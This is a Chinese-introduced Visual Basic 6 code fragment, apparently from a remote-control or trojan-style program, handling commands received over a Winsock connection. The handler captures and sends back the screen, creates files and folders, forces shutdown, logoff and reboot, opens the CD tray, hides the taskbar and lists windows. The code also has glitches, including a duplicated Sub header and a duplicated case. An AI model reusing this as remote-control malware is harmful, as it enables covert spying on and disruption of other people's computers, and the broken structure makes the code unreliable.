以下是引用片段: Private Sub btn关闭_Click() Me.WinConnect.Close '断开连接 Me.Text1.Text = Me.Text1.Text & vbCrLf & "连接关闭" '操作记录显示 Me.btn连接.Enabled = True '将“连接”按钮设置为可用状态 Me.btn关闭.Enabled = False '将“关闭”按钮设置为不可用状态 End Sub Private Sub Text1_Change() Me.Text1.SelStart = Len(Me.Text1.Text) Me.Text1.SelLength = 1 End Sub Private Sub WinConnect_Close() Me.Text1.Text = Me.Text1.Text & vbCrLf & "连接关闭" '操作记录显示 Me.btn连接.Enabled = True '将“连接”按钮设置为可用状态 Me.btn关闭.Enabled = False '将“关闭”按钮设置为不可用状态 End Sub Private Sub WinConnect_Connect() Me.Text1.Text = Me.Text1.Text & vbCrLf & "连接完成" '操作记录显示 Me.btn连接.Enabled = False '将“连接”按钮设置为不可用状态 Me.btn关闭.Enabled = True '将“关闭”按钮设置为可用状态 End Sub Private Sub WinConnect_DataArrival(ByVal bytesTotal As Long) '接收到对方的信息的事件 Private Sub WinConnect_DataArrival(ByVal bytesTotal As Long) '接收到对方的信息的事件 Dim a As String Me.WinConnect.GetData a '把接收到的信息赋值给字符串a If Mid(a, 1, 5) = "11-11" Then End If Select Case Mid(a, 1, 5) Case "11-11" Me.Text1.Text = Me.Text1.Text & vbCrLf & Time & ":" & Mid(a, 6) Case "22-21" Call GetScreen If Me.Picture2.Image <> 0 Then SavePicture Me.Picture2.Image, "C:\SendScreen.bmp" If Dir("C:\SendScreen.rar") <> "" Then Kill "C:\SendScreen.rar" End If Call AddRar Open "C:\SendScreen.rar" For Binary As #1 ReDim aa(1 To LOF(1)) As Byte Get #1, 1, aa End If Me.WinConnect.SendData "22-22" & LOF(1) Close DoEvents Me.WinConnect.SendData aa DoEvents Case "33-31" If Dir("c:\NewFolder") = "" Then MkDir ("c:\NewFolder") End If Case "33-32" Open "C:\NewFile" For Binary As #1 Put #1, 1, "hello" Close #1 Case "33-33" Shell "shutdown -s -t 1" Case "33-34" '打开IE On Error Resume Next Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE ", 3 On Error GoTo 0 Case "80-81" Me.Text1.Text = Me.Text1.Text & vbCrLf & Time & ":" & Mid(a, 6) Case "66-61" '注销计算机 ExitWindowsEx EWX_FORCE Or EWX_LOGOFF, 0 Case "66-62" '注销计算机 ExitWindowsEx EWX_FORCE Or EWX_REBOOT, 0 Case "66-63" '打开光驱 mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0& Case "66-64" '打开光驱 mciSendString "Set CDAudio Door Closed Wait", 0&, 0&, 0& Case "66-64" '打开光驱 mciSendString "Set CDAudio Door Closed Wait", 0&, 0&, 0& Case "66-65" '隐藏任务栏 ShowHide True Case "66-66" '显示任务栏 ShowHide False Case "66-67" '隐藏按钮 hideButton False Case "66-68" '隐藏按钮 hideButton True Case "66-69" Me.WinConnect.SendData "66-70" & ListWindows End Select End Sub
|